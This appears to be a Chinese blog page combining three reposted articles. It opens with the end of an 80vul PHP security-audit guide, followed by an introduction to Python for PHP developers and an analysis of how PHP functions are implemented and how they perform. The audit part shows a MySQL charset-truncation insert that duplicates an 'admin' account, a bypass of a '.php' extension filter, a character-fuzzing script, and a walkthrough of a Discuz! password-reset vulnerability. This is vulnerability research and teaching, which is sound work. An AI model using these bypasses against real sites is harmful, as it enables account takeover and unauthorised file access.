2 rows in set (0.00 sec)
-------------------------------------------------------------------------------

2) Mysql charset Truncation vulnerability

这个漏洞是80sec发现的,当mysql进行数据存储处理utf8等数据时对某些字符导致数据
截断。测试如下:

--code-------------------------------------------------------------------------
mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2");
Query OK, 1 row affected, 1 warning (0.00 sec)

mysql> select * from truncated_test;
+----+------------+----------+
| id | username | password |
+----+------------+----------+
| 1 | admin | pass |
| 2 | admin | new_pass |
| 3 | admin | new_pass2 |
+----+------------+----------+
2 rows in set (0.00 sec)
-------------------------------------------------------------------------------

很多的web应用程序没有考虑到这些问题,只是在数据存储前简单查询数据是否包含相同
数据,如下代码:

--code-------------------------------------------------------------------------
$result = mysql_query("SELECT * from test_user where user='$user' ");
....
if(@mysql_fetch_array($result, MYSQL_NUM)) {
die("already exist");
}
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++


5.6.1.3 文件操作里的特殊字符

文件操作里有很多特殊的字符,发挥特别的作用,很多web应用程序没有注意处理这些字
符而导致安全问题。比如很多人都知道的windows系统文件名对“空格”和“.”等的忽视,这个
主要体现在上传文件或者写文件上,导致直接写webshell。另外对于windows系统对“.\..\”
进行系统转跳等等。

下面还给大家介绍一个非常有意思的问题:

--code-------------------------------------------------------------------------
//Is this code vul?
if( eregi(".php",$url) ){
die("ERR");
}
$fileurl=str_replace($webdb[www_url],"",$url);
.....
header('Content-Disposition: attachment; filename='.$filename);
-------------------------------------------------------------------------------

很多人看出来了上面的代码的问题,程序首先禁止使用“.php”后缀。但是下面居然接了
个str_replace替换$webdb[www_url]为空,那么我们提交“.p$webdb[www_url]hp”就可以饶过
了。那么上面的代码杂fix呢?有人给出了如下代码:

--code-------------------------------------------------------------------------
$fileurl=str_replace($webdb[www_url],"",$url);
if( eregi(".php",$url) ){
die("ERR");
}
-------------------------------------------------------------------------------

str_replace提到前面了,很完美的解决了str_replace代码的安全问题,但是问题不是那
么简单,上面的代码在某些系统上一样可以突破。接下来我们先看看下面的代码:

--code-------------------------------------------------------------------------
<?php
for($i=0;$i<255;$i++) {
$url = '1.ph'.chr($i);
$tmp = @file_get_contents($url);
if(!empty($tmp)) echo chr($i)."\r\n";
}
?>
-------------------------------------------------------------------------------

我们在windows系统运行上面的代码得到如下字符* < > ? P p都可以打开目录下的1.php。

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:文读取件操作函数
+++++++++++++++++++++++++


六、怎么进一步寻找新的字典

上面我们列举很多的字典,但是很多都是已经公开过的漏洞或者方式,那么我们怎么进一
步找到新的字典或者利用方式呢?

* 分析和学习别人发现的漏洞或者exp,总结出漏洞类型及字典。

* 通过学习php手册或者官方文档,挖掘出新的有危害的函数或者利用方式。

* fuzz php的函数,找到新的有问题的函数(不一定非要溢出的),如上一章的4.6的部分
很多都可以简单的fuzz脚本可以测试出来。

* 分析php源代码,发现新的漏洞函数“特性”或者漏洞。(在上一节里介绍的那些“漏洞审
计策略”里,都没有php源代码的分析,如果你要进一步找到新的字典,可以在php源代码的基础
上分析下成因,然后根据这个成因来分析寻找新的漏洞函数“特性”或者漏洞。)(我们以后会
陆续公布一些我们对php源代码的分析)

* 有条件或者机会和开发者学习,找到他们实现某些常用功能的代码的缺陷或者容易忽
视的问题

* 你有什么要补充的吗? :)


七、DEMO

* DEMO -- Discuz! Reset User Password 0day Vulnerability 分析
(Exp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt)

PHP版本要求:php4 php5<5.2.6
系统要求: 无
审计策略:查找mt_srand/mt_rand

第一步 安装Discuz! 6.1后利用grep查找mt_srand得到:

-------------------------------------------------------------------------------
heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./ --colour -5
./include/global.func.php-694- $GLOBALS['rewritecompatible'] && $name = rawurlencode($name);
./include/global.func.php-695- return '<a href="tag-'.$name.'.html"'.stripslashes($extra).'>';
./include/global.func.php-696-}
./include/global.func.php-697-
./include/global.func.php-698-function random($length, $numeric = 0) {
./include/global.func.php:699: PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
./include/global.func.php-700- if($numeric) {
./include/global.func.php-701- $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1));
./include/global.func.php-702- } else {
./include/global.func.php-703- $hash = '';
./include/global.func.php-704- $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
--
./include/discuzcode.func.php-30-
./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes']) || !is_array($_DCACHE['bbcodes']) || !is_array($_DCACHE['smilies'])) {
./include/discuzcode.func.php-32- @include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php';
./include/discuzcode.func.php-33-}
./include/discuzcode.func.php-34-
./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
./include/discuzcode.func.php-36-
./include/discuzcode.func.php-37-function attachtag($pid, $aid, &$postlist) {
./include/discuzcode.func.php-38- global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml;
./include/discuzcode.func.php-39- $attach = $postlist[$pid]['attachments'][$aid];
./include/discuzcode.func.php-40- if($attach['attachimg']) {
-------------------------------------------------------------------------------

有两个文件用到了mt_srand(),第1是在./include/global.func.php的随机函数random()里:

--code-------------------------------------------------------------------------
PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
-------------------------------------------------------------------------------

判断了版本,如果是PHP_VERSION > '4.2.0'使用php本身默认的播种。从上一章里的分
析我们可以看得出来,使用php本身默认的播种的分程序两种情况:

1) 'Cross Application Attacks' 这个思路是只要目标上有使用使用的程序里定义了类似
mt_srand((double)microtime() * 1000000)的播种的话,又很有可能被暴力。在dz这里不需
要Cross Application,因为他本身有文件就定义了,就是上面的第2个文件:

--code-------------------------------------------------------------------------
./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
-------------------------------------------------------------------------------

这里我们肯定dz是存在这个漏洞的,文章给出来的exp也就是基于这个的。(具体exp利用
的流程有兴趣的可以自己分析下])

2) 有的人认为如果没有mt_srand((double)microtime() * 1000000);这里的定义,那么dz就
不存在漏洞,这个是不正确的。首先你不可以保证别人使用的其他应用程序没有定义,再次不
利用'Cross Application Attacks',5.2.6>php>4.2.0 php本身默认播种的算法也不是很强
悍(分析详见上),也是有可以暴力出来,只是速度要慢一点。


八、后话

本文是80vul的三大马甲:80vul-A,80vul-B,80vul-C集体智慧的结晶,尤其是80vul-B贡
献了不少新发现。另外需要感谢的是文章里提到的那些漏洞的发现者,没有他们的成果也就
没有本文。本文没有写“参考”,因为本文是一个总结性的文挡,有太多的连接需要提供限于篇
幅就没有一一列举,有心的读者可以自行google。另外原本没有打算公布此文,因为里面包含
了太多应用程序的0day,而且有太多的不尊重别人成果的人,老是利用从别人那学到的技术来
炫耀,甚至牟取利益。在这里我们希望你可以在本文里学到些东西,更加希望如果通过本文你
找到了某些应用程序的0day,请低调处理,或者直接提交给官方修补,谢谢大家!!


九、附录

[1] http://bbs.phpchina.com/attachment.php?aid=22294
[2] http://www.php-security.org/
[3] http://bugs.php.net/bug.php?id=40114

-EOF-

[转] - 适用于 PHP 开发人员的 Python 基础知识

Thomas Myer , 负责人, Triple Dog Dare Media

好段时间一直想接触Python了,刚好借这篇文章入门。:P

简介
:  您是一名经验丰富的 PHP 开发人员,并且希望学习 Python 吗?本文将从 PHP 开发人员的角度来探索 Python 开发的世界,将大家熟悉的 PHP 概念(如变量、列表、函数)转换成同等的 Python 概念。

您是一名 PHP 开发人员。您在过去 五年(或更长时间)中可能一直都编写应用程序,您已经将许多想像变成了可能 — 电子商务系统、简单内容管理系统、Twitter 和 Facebook 集成以及各种自定义实用工具。您可能还需要维护大量代码 — 从简单的显示页面到包含数千行其他人编写的代码的自定义应用程序,不一而足。

常用缩略语


  • Ajax
    : 异步 JavaScript + XML
  • XML
    : 可扩展标记语言(Extensible Markup Language)

您已经在 PHP 上花费了大量时间,转向另一种语言势在必行。您也知道原地不动就意味着被动挨打。其实,学习新语言就像是去国外旅行:您会接触到新事物,品尝新食物,领略不同的文化,与不同的人对话,了解一切新奇,然后再回到家中体会原来的环境。

本文将带领您前往 Python 的世界遨游一番。本文假定您不具备 Python 编程语言的任何知识,但至少应具备一些基本的编程知识。我们将侧重于对 Python 和 PHP 进行比较 — 并不是为了分出两者孰优孰劣,而是因为一个简单的真理:在学习新知识时参照已有知识会更加轻松。

本文的目标相当简单:简要介绍 Python 的基本知识,为读者自己进行深入搜索打下基础。幸运的是,您将认识到 Python 实际上与您之前所使用的语言并无不同之处。再次以旅游为例,您并不需要到太远的地方,只需要去语言相通的邻国即可。


什么是 Python?

Python 的定义是一种 “通用的高级编程语言”。它以简洁性和易用性著称,而且是少有的几种对空格和缩进有要求的语言之一。Python 的主要作者 Guido Van Rossum 在社区中仍然非常活跃,并且被人们戏称为仁慈的独裁者

Python 的灵活性和紧凑性是值得称赞的。它支持面向对象编程、结构化编程、面向方面编程以及函数编程等。Python 采用小内核设计,但具备大量扩展库,从而确保了该语言的紧凑性和灵活性。

从语法的角度来说,您会发现 Python 的简洁性异常突出 — 几乎可以说是一种纯粹的境界。PHP 开发人员要么会对这种方法的语法深深陶醉,要么会发现它的局限性。这主要取决于您自己的见解。Python 社区推动这种美感的态度是非常明确的,它们更加重视的是美学和简洁性,而不是灵动的技巧。已形成 Perl 传统(“可以通过多种方式实现它”)的 PHP 开发人员(像我自己)将面对一种完全相反的哲学(“应该只有一种方法可以实现它”)。

事实上,该社区定义了一种特有的代码风格术语,即 Python 化(pythonic)。您可以说您的代码是 Python 化,这是对 Python 术语的良好运用,同时还可展现语言的自然特性。本文并不打算成为 Pythonista(或 Pythoneer),但如果您想继续 Python 之路,那么千万不能错过本文的知识点。就像 PHP 有自己的编程风格,Perl 有自己的概念方法,学习 Python 语言必然也需要开始用该语言来思考问题。

另一个要点:在撰写本文时,Python 的最新版本是 V3.0,但本文主要侧重于 Python V2.6。Python V3.0 并不能向后兼容之前的版本,而且 V2.6 是使用最为广泛的版本。当然,您可以根据需求使用自己喜好的版本。


Python 与 PHP 有何不同?

一般来说,PHP 是一种 Web 开发语言。是的,它提供了一个命令行接口,并且甚至可用于开发嵌入式应用程序,但它主要还是用于 Web 开发。相反,Python 是一种脚本语言,并且也可用于 Web 开发。从这方面来说 — 我知道我会这样说 — 它比 PHP 更加接近 Perl。(当然,在其他方面,它们之间并无实际不同。我们继续往下看。)

PHP 的语法中充斥着美元符号($)和大括号({}),而 Python 相对来说则更加简洁和干净。PHP 支持 switch 和 do...while 结构,而 Python 则不尽然。PHP 使用三元操作符(foo?bar:baz)和冗长的函数名列表,而命名约定更是无所不有;相反,您会发现 Python 要简洁多了。PHP 的数组类型可同时支持简单列表和字典或散列,但 Python 却将这两者分开。

Python 同时使用可变性和不变性的概念:举例来说,tuple 就是一个不可变的列表。您可以创建 tuple,但在创建之后不能修改它。这一概念可能要花些时间来熟悉,但对于避免错误极为有效。当然,更改 tuple 的惟一方法是复制它。因此,如果您发现对不可变对象执行了大量更改,则应该重新考量自己的方法。

之前提到,Python 中的缩进是有含义的:您在刚开始学习该语言时会对此非常难以适应。您还可以创建使用关键字作为参数的函数和方法 — 这与 PHP 中的标准位置参数迥然不同。面向对象的追随者会对 Python 中真正的面向对象思想感到欣喜,当然还包括它的 “一级” 类和函数。如果您使用非英语语言,则会钟爱于 Python 强大的国际化和 Unicode 支持。您还会喜欢 Python 的多线程功能;这也是最开始令我为之着迷的特性之一。

综上所述,PHP 和 Python 在许多方面都彼此类似。您可以方便地创建变量、循环,使用条件和创建函数。您甚至可以轻松地创建可重用的模块。两种语言的用户社区都充满活力和激情。PHP 的用户群体更加庞大,但这主要归因于它在托管服务器及 Web 专注性方面的优势和普及性。

很好 — 简要介绍到此为止。我们开始探索之旅。


使用 Python

清单 1 展示了一个基本的 Python 脚本。

清单 1. 一个简单的 Python 脚本

for i in range(20):
	print(i)

清单 2 展示了脚本的必然结果。

清单 2. 清单 1 的结果

0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

在深入探索之前,我们先来了解一些预备知识。首先从变量开始。

变量

可以看到,表示变量并不需要任何特殊的字符。变量 i 就是一个纯粹的 i — 毫无特殊之处。表示代码块或语言结束也不需要任何特殊字符(比如分号和括号);只需要在 for 行使用一个简单的冒号即可(:)。还需注意,缩进会向 Python 指示哪些内容属于 for 循环。举例来说,清单 3 中的代码会在循环中为各编号输出一个说明。

清单 3. 为各循环添加一条语句

for i in range(20):
	print(i)
	print('all done?')
            

相反,清单 4 中的代码会在循环结束处输出一条说明。

清单 4. 在循环后添加一条语句

for i in range(20):
	print(i)

print('all done!')

现在,我第一次看到这样的代码时,我认为这完全是无稽之谈。什么?让我相信换行和缩进能保证代码的结构和运行?请相信我,不用多久,您就会习惯它(但我需要承认必须到达到分号处才会结束语句的运行)。如果您与其他开发人员共同开发 Python 项目,则会发现这种可读性的用处是多么大了。您不再像以前那样总是猜测 “这个聪明的家伙在这里究竟想干些什么?”

在 PHP,您使用 = 操作符为变量分配值(参见 清单 5)。在 Python 中,您使用相同的操作符,只是需要标记或指向值。对于我来说,它就是赋值操作而已,我不需要过多担心专门的术语。

清单 5. 创建变量

yorkie = 'Marlowe' #meet our Yorkie Marlowe!
mutt = 'Kafka'     #meet our mutt Kafka

print(mutt)  #prints Kafka

Python 的变量名称约定与 PHP 类似:您在创建变量名时只能使用字母、数字和下划线(_)。同样,变量名的第一个字符不能是数字。Python 变量名是区分大小写的,并且您不能使用特定的 Python 关键字(比如 if、else、while、def、or、and、not、in 和 is 开始符)作为变量名。这没有什么值得奇怪的。

Python 允许您随意执行基于字符串的操作。清单 6 中的大多数操作应该都是您熟悉的。

清单 6. 常见的基于字符串的操作

yorkie = 'Marlowe'
mutt = 'Kafka'

ylen = len(yorkie) #length of variable yorkie
print(ylen) #prints 7
print(len(yorkie)) #does the same thing
len(yorkie) #also does the same thing, print is implicit
print(yorkie.lower()) #lower cases the string
print(yorkie.strip('aeiou')) #removes vowels from end of string
print(mutt.split('f')) #splits "Kafka" into ['Ka', 'ka']
print(mutt.count('a')) #prints 2, the number of a's in string
yorkie.replace('a','4')  #replace a's with 4's 

条件语句

您已经了解了如何使用 for 循环;现在,我们来讨论条件语句。您会发现 Phyon 中的条件语句与 PHP 基本相同:您可以使用熟悉的 if/else 型结构,如清单 7 所示。


清单 7. 一个简单的条件测试

yorkie = 'Marlowe'
mutt = 'Kafka'

if len(yorkie) > len(mutt):
	print('The yorkie wins!')
else:
	print('The mutt wins!')

您还可以使用 if/elif/else(elif,等价于 PHP 中的 elseif)创建更加复杂的条件测试,如清单 8 所示。


清单 8. 一个比较复杂的条件测试

yorkie = 'Marlowe'
mutt = 'Kafka'

if len(yorkie) + len(mutt) > 15:
	print('The yorkie and the mutt win!')

elif len(yorkie) + len(mutt) > 10:
	print('Too close to tell!')
else:
	print('Nobody wins!')
            

您可能会说,目前为止并没有什么与众不同的地方:甚本上和想像中没有太大区别。现在,我们来看 Python 处理列表的方式,您会发现两种语言之间的不同之处。

列表

一种常用的列表类型是 tuple,它是不可变的。在 tuple 中载入一系列值之后,您不会更改它。Tuple 可以包含数字、字符串、变量,甚至其他 tuples。Tuples 从 0 开始建立索引,这很正常;您可以使用 -1 索引访问最后一个项目。您还可以对 tuple 运行一些函数(请参见清单 9)。

清单 9. Tuples

items = (1, mutt, 'Honda', (1,2,3))

print items[1]  #prints Kafka
print items[-1] #prints (1,2,3)

items2 = items[0:2]  #items2 now contains (1, 'Kafka') thanks to slice operation

'Honda' in items #returns TRUE
len(items) #returns 4
items.index('Kafka') #returns 1, because second item matches this index location

列表与 tuple 类似,只不过它们是可变的。创建列表之后,您可以添加、删除和更新列表中的值。列表使用方括号,而不是圆括号(()),如清单 10 所示。


清单 10. 列表

groceries = ['ham','spam','eggs']
len(groceries) #returns 3
print groceries[1] #prints spam

for x in groceries:
	print x.upper() #prints HAM SPAM EGGS
	
groceries[2] = 'bacon'
groceries #list is now ['ham','spam','bacon']

groceries.append('eggs')
groceries #list is now ['ham', 'spam', 'bacon', 'eggs']

groceries.sort() 
groceries #list is now ['bacon', 'eggs', 'ham', 'spam']

字典类似于关联数组或散列;它使用键值对来存储和限制信息。但它不使用方括号和圆括号,而是使用尖括号。与列表类似,字典是可变的,这意味着您可以添加、删除和更新其中的值(请参见清单 11)。


清单 11. 字典

colorvalues = {'red' : 1, 'blue' : 2, 'green' : 3, 'yellow' : 4, 'orange' : 5}

colorvalues #prints {'blue': 2, 'orange': 5, 'green': 3, 'yellow': 4, 'red': 1}

colorvalues['blue'] #prints 2

colorvalues.keys() #retrieves all keys as a list: 
				   #['blue', 'orange', 'green', 'yellow', 'red']
colorvalues.pop('blue') #prints 2 and removes the blue key/value pair

colorvalues #after pop, we have: 
			#{'orange': 5, 'green': 3, 'yellow': 4, 'red': 1}


在 Python 中创建一个简单的脚本

现在,您已经对 Python 有了一定的了解。接下来,我们将创建一个简单的 Python 脚本。该脚本将读取位于您的服务器 /tmp 目录下的 PHP 会话文件的数量,并在日志文件中写入摘要报告。在该脚本中,您将学习如何导入特定函数的模块,如何使用文件,以及如何写入日志文件。您还将设置一系列变量来跟踪所收集的信息。

清单 12 展示了整个脚本。打开一个编辑器,并将代码粘贴到其中,然后在系统中将该文件保存为 tmp.py。然后,对该文件运行 chmod + x,使它成为可执行文件(假定您使用 UNIX® 系统)。


清单 12. tmp.py

#!/usr/bin/python

import os
from time import strftime

stamp = strftime("%Y-%m-%d %H:%M:%S")
logfile = '/path/to/your/logfile.log'
path = '/path/to/tmp/directory/'

files = os.listdir(path)
bytes = 0
numfiles = 0

for f in files:
	if f.startswith('sess_'):
		info = os.stat(path + f)
		numfiles += 1
		bytes += info[6]
		

if numfiles > 1:
	title = 'files'
else:
	title = 'file'


string = stamp + " -- " + str(numfiles) + " session " \
+ title +", " + str(bytes) + " bytes\n"

file = open(logfile,"a")
file.writelines(string)
file.close()

在第一行中,您可以看到一个 hash-bang 行:它用于标识 Python 解释器的位置。在我的系统中,它位于 /usr/bin/python。请根据系统需求调整这一行。

接下来的两行用于导入特定的模块,这些模块将帮助您执行作业。考虑到脚本需要处理文件夹和文件,因此您需要导入 os 模块,因为其中包含各种函数和方法,可帮助您列出文件、读取文件和操作文件夹。您还需要写入一个日志文件,因此可以为条目添加一个时间戳 — 这就需要使用时间函数。您不需要所有时间函数,只需要导入 strftime 函数即可。

在接下来的六行中,您设置了一些变量。第一个变量是 stamp,其中包含一个日期字符串。然后,您使用 strftime 函数创建了一个特定格式的时间戳 — 在本例中,时间戳的格式为 2010-01-03 12:43:03。

接下来,创建一个 logfile 变量,并在文件中添加一个实际存储日志文件消息的路径(该文件不需要实际存在)。为简单起见,我在 /logs 文件夹中放置了一个日志文件,但您也可以将它放置在别处。同样,path 变量包含到 /tmp 目录的路径。您可以使用任何路径,只要使用斜杠作为结束即可 (/)。

接下来的三个变量也非常简单:files 列表包含指定路径中的所有文件和文件夹,另外还包含 bytes 和 numfiles 两个变量。这两个变量都设置为 0;脚本会在处理文件时递增这些值。

完成所有这些定义之后,接下来就是脚本的核心了:一个简单的 for 循环,用于处理文件列表中的各文件。每次运行循环时,脚本都会计算文件名;如果它以 sess_ 开头,则脚本会对该文件运行 os.stat(),提取文件数据(比如创建时间、修改时间和字节大小),递增 numfiles 计数器并将该文件的字节大小累计到总数中。

当循环完成运行后,脚本会检查 numfiles 变量中的值是否大于 1。如果大于 1,则会将一个新的 title 变量设置为 files;否则,title 将被设置为单数形式的 file。

脚本的最后部分也非常简单:您创建了一个 string 变量,并在该变量中添加了一行以时间戳开始的数据,并且其后还包含 numfiles(已转换为字符串)和字节(也已转换为字符串)。请注意继续字符(\);该字符可允许代码运行到下一行。它是一个提高可读性的小技巧。

然后,您使用 open() 函数以附加模式打开日志文件(毕竟始终需要在该文件中添加内容),writelines() 函数会将字符串添加到日志文件中,而 close() 函数用于关闭该文件。

现在,您已经创建了一个简单的 Python 脚本。该脚本可用于完成许多任务,举例来说,您可以设置一个 cron 作业来每小时运行一次这个脚本,以帮助您跟踪 24 小时内所使用的 PHP 会话的数量。您还可以使用 jQuery 或其他一些 JavaScript 框架通过 Ajax 连接这个脚本,用于为您提供日志文件提要(如果采用这种方式,则需要使用 print 命令来返回数据)。


 

结束语

作为开发人员,我们投入大量时间学习特定的语言和方法。有时,这样做会引起各种语言之间孰优孰劣的争议。我参加了不少这样的争论,相信读者们也是如此。需要承认的是,大多数这样的讨论最终都会以相同的结果结束 — “你能做的,我都可以更好的完成” — 这其实毫无意义。

但是,当您将目光转移到另一种语言时,您会发现大多数语言都具备相似的工具、原理和方法。学习第一种语言是艰辛的,但将自己所掌握的知识应用于另一种语言可以极大地简化学习过程。即使您实际上并不用迁移到第二种语言,但是可以将自己对编程思想和方法的领悟提升一个层次。

所幸的是,本文为您提供了一些关于 Python 的知识。我希望您可以继续学习这个优秀的语言。您可能从未离开 PHP 的世界(毕竟,它是您赖以生存的工具),但请不要停止学习的脚步。

 

参考资料

获得产品和技术

讨论

[转]PHP函数的实现原理及性能分析

 

前言

 

在任何语言中,函数都是最基本的组成单元。对于php的函数,它具有哪些特点?函数调用是怎么实现的?php函数的性能如何,有什么使用建议?本文将从原理出发进行分析结合实际的性能测试尝试对这些问题进行回答,在了解实现的同时更好的编写php程序。同时也会对一些常见的php函数进行介绍。

php函数的分类

 

在php中,横向划分的话,函数分为两大类: user function(内置函数) 和internal function(内置函数)。前者就是用户在程序中自定义的一些函数和方法,后者则是php本身提供的各类库函数(比如sprintf、array_push等)。用户也可以通过扩展的方法来编写库函数,这个将在后面介绍。对于user function,又可以细分为function(函数)和method(类方法),本文中将就这三种函数分别进行分析和测试。

php函数的实现

 

一个php函数最终是如何执行,这个流程是怎么样的呢?

要回答这个问题,我们先来看看php代码的执行所经过的流程。

从图1可以看到,php实现了一个典型的动态语言执行过程:拿到一段代码后,经过词法解析、语法解析等阶段后,源程序会被翻译成一个个指令(opcodes),然后ZEND虚拟机顺次执行这些指令完成操作。Php本身是用c实现的,因此最终调用的也都是c的函数,实际上,我们可以把php看做是一个c开发的软件。
通过上面描述不难看出,php中函数的执行也是被翻译成了opcodes来调用,每次函数调用实际上是执行了一条或多条指令。

对于每一个函数,zend都通过以下的数据结构来描述

typedef union _zend_function {
zend_uchar type; /* MUST be the first element of this struct! */
struct {
zend_uchar type; /* never used */
char *function_name;
zend_class_entry *scope;
zend_uint fn_flags;
union _zend_function *prototype;
zend_uint num_args;
zend_uint required_num_args;
zend_arg_info *arg_info;
zend_bool pass_rest_by_reference;
unsigned char return_reference;
} common;

zend_op_array op_array;
zend_internal_function internal_function;
} zend_function;


typedef struct _zend_function_state {
HashTable *function_symbol_table;
zend_function *function;
void *reserved[ZEND_MAX_RESERVED_RESOURCES];
} zend_function_state;
其中type标明了函数的类型:用户函数、内置函数、重载函数。Common中包含函数的基本信息,包括函数名,参数信息,函数标志(普通函数、静态方法、抽象方法)等内容。另外,对于用户函数,还有一个函数符号表,记录了内部变量等,这个将在后面详述。 Zend维护了一个全局function_table,这是一个大的hahs表。函数调用的时候会首先根据函数名从表中找到对应的zend_function。当进行函数调用时候,虚拟机会根据type的不同决定调用方法, 不同类型的函数,其执行原理是不相同的




内置函数

内置函数,其本质上就是真正的c函数,每一个内置函数,php在最终编译后都会展开成为一个名叫zif_xxxx的function,比如我们常见的sprintf,对应到底层就是zif_sprintf。Zend在执行的时候,如果发现是内置函数,则只是简单的做一个转发操作。

Zend提供了一系列的api供调用,包括参数获取、数组操作、内存分配等。内置函数的参数获取,通过zend_parse_parameters方法来实现,对于数组、字符串等参数,zend实现的是浅拷贝,因此这个效率是很高的。可以这样说,对于php内置函数,其效率和相应c函数几乎相同,唯一多了一次转发调用。

内置函数在php中都是通过so的方式进行动态加载,用户也可以根据需要自己编写相应的so,也就是我们常说的扩展。ZEND提供了一系列的api供扩展使用

用户函数

和内置函数相比,用户通过php实现的自定义函数具有完全不同的执行过程和实现原理。如前文所述,我们知道php代码是被翻译成为了一条条opcode来执行的,用户函数也不例外,实际中每个函数对应到一组opcode,这组指令被保存在zend_function中。于是,用户函数的调用最终就是对应到一组opcodes的执行。

  • 局部变量的保存及递归的实现 
    我们知道,函数递归是通过堆栈来完成的。在php中,也是利用类似的方法来实现。Zend为每个php函数分配了一个活动符号表(active_sym_table),记录当前函数中所有局部变量的状态。所有的符号表通过堆栈的形式来维护,每当有函数调用的时候,分配一个新的符号表并入栈。当调用结束后当前符号表出栈。由此实现了状态的保存和递归。

对于栈的维护,zend在这里做了优化。预先分配一个长度为N的静态数组来模拟堆栈,这种通过静态数组来模拟动态数据结构的手法在我们自己的程序中也经常有使用,这种方式避免了每次调用带来的内存分配、销毁。ZEND只是在函数调用结束时将当前栈顶的符号表数据clean掉即可。
因为静态数组长度为N,一旦函数调用层次超过N,程序不会出现栈溢出,这种情况下zend就会进行符号表的分配、销毁,因此会导致性能下降很多。在zend里面,N目前取值是32。因此,我们编写php程序的时候,函数调用层次最好不要超过32。当然,如果是web应用,本身可以函数调用层次的深度。

  • 参数的传递 
    和内置函数调用zend_parse_params来获取参数不同,用户函数中参数的获取是通过指令来完成的。函数有几个参数就对应几条指令。具体到实现上就是普通的变量赋值。
    通过上面的分析可以看出,和内置函数相比,由于是自己维护堆栈表,而且每条指令的执行也是一个c函数,用户函数的性能相对会差很多,后面会有具体的对比分析。因此,如果一个功能有对应php内置函数实现的尽量不要自己重新写函数去实现。

类方法

类方法其执行原理和用户函数是相同的,也是翻译成opcodes顺次调用。类的实现,zend用一个数据结构zend_class_entry来实现,里面保存了类相关的一些基本信息。这个entry是在php编译的时候就已经处理完成。

在zend_function的common中,有一个成员叫做scope,其指向的就是当前方法对应类的zend_class_entry。关于php中面向对象的实现,这里就不在做更详细的介绍,今后将专门写一篇文章来详述php中面向对象的实现原理。就函数这一块来说,method实现原理和function完全相同,理论上其性能也差不多,后面我们将做详细的性能对比。

 

性能对比

 

函数名长度对性能的影响

  • 测试方法 
    对名字长度为1、2、4、8、16的函数进行比较,测试比较它们每秒可执行次数,确定函数名长度对性能的影响
  • 测试结果如下图

  • 结果分析 
    从图上可以看出,函数名的长度对性能还是会有一定的影响。一个长度为1的函数和长度为16的 空函数调用
     ,其性能差了1倍。分析一下源码不难找到原因,如前面叙述所说,函数调用的时候zend会先在一个全局的funtion_table中通过函数名查询相关信息,function_table是一个哈希表。必然的,名字越长查询所需要的时间就越多。 因此,在实际编写程序的时候,对多次调用的函数,名字建议不要太长

虽然函数名长度对性能有一定影响,但具体有多大呢?这个问题应该还是需要结合实际情况来考虑,如果一个函数本身比较复杂的话,那么对整体的性能影响并不大。
一个建议是对于那些会调用很多次,本身功能又比较简单的函数,可以适当取一些言简意赅的名字。

函数个数对性能的影响

  • 测试方法 
    在以下三种环境下进行函数调用测试,分析结果:1.程序仅包含1个函数 2.程序包含100个函数 3.程序包含1000个函数。
    测试这三种情况下每秒所能调用的函数次数
  • 测试结果如下图

  • 结果分析 
    从测试结果可以看出,这三种情况下性能几乎相同,函数个数增加时性能下降微乎其微,可以忽略。
    从实现原理分析,几种实现下唯一的区别在于函数获取的部分。如前文所述,所有的函数都放在一个hash表中,在不同个数下查找效率都应该还是接近于O(1),所以性能差距不大。

不同类型函数调用消耗

  • 测试方法 
    选取用户函数、类方法、静态方法、内置函数各一种,函数本身不做任何事情,直接返回,主要测试空函数调用的消耗。测试结果为每秒可执行次数 
    测试中为去除其他影响,所有函数名字长度相同
  • 测试结果如下图

  • 结果分析 
    通过测试结果可以看到,对于用户自己编写的php函数,不管是哪种类型,其效率是差不多的,均在280w/s左右。如我们预期,即使是空调,内置函数其效率也要高很多,达到780w/s,是前者是3倍。可见,内置函数调用的开销还是远低于用户函数。从前面原理分析可知主要差距在于用户函数调用时初始化符号表、接收参数等操作。

内置函数和用户函数性能对比

  • 测试方法 
    内置函数和用户函数的性能对比,这里我们选取几个常用的函数,然后用php实现相同功能的函数进行一下性能对比。
    测试中,我们选取字符串、数学、数组中各一个典型进行对比,这几个函数分别是字符串截取(substr)、10进制转2进制(decbin)、求最小值(min)和返回数组中的所以key(array_keys)。
  • 测试结果如下图 
     

 

  • 结果分析 
    从测试结果可以看出,如我们预期,内置函数在总体性能上远高于普通用户函数。尤其对于涉及到字符串类操作的函数,差距达到了1个数量级。因此,函数使用的一个原则就是如果某功能有相应的内置函数,尽量使用它而不是自己编写php函数。
    对于一些涉及到大量字符串操作的功能,为提高性能,可以考虑用扩展来实现。比如常见的富文本过滤等。

和C函数性能对比

  • 测试方法 
    我们选取字符串操作和算术运算各3种函数进行比对,php用扩展实现。三种函数是简单的一次算法运算、字符串比较和多次的算法运算。
    除了本身的两类函数外,还会测试将函数空调开销去掉后的性能,一方面比对一下两种函数(c和php内置)本身的性能差异,另外就是侧面印证空调函数的消耗 
    测试点为执行10w次操作的时间消耗
  • 测试结果如下图

  • 结果分析 
    内置函数和C函数的开销在去掉php函数空调用的影响后差距较小,随着函数功能越来越复杂,双方性能趋近于相同。这个从之前的函数实现分析中也容易得到论证,毕竟内置函数就是C实现的。
    函数功能越复杂,c和php的性能差距越小 
    相对c来说,php函数调用的开销大很多,对于简单函数来说性能还是有一定影响。因此php中函数不宜嵌套封装太深。

伪函数及其性能

 

在php中,有这样一些函数,它们在使用上是标准的函数用法,但底层实现却和真正函数调用完全不同,这些函数不属于前文提到的三种function中的任何一类,其实质是一条单独的opcode,这里估且叫做伪函数或者指令函数。

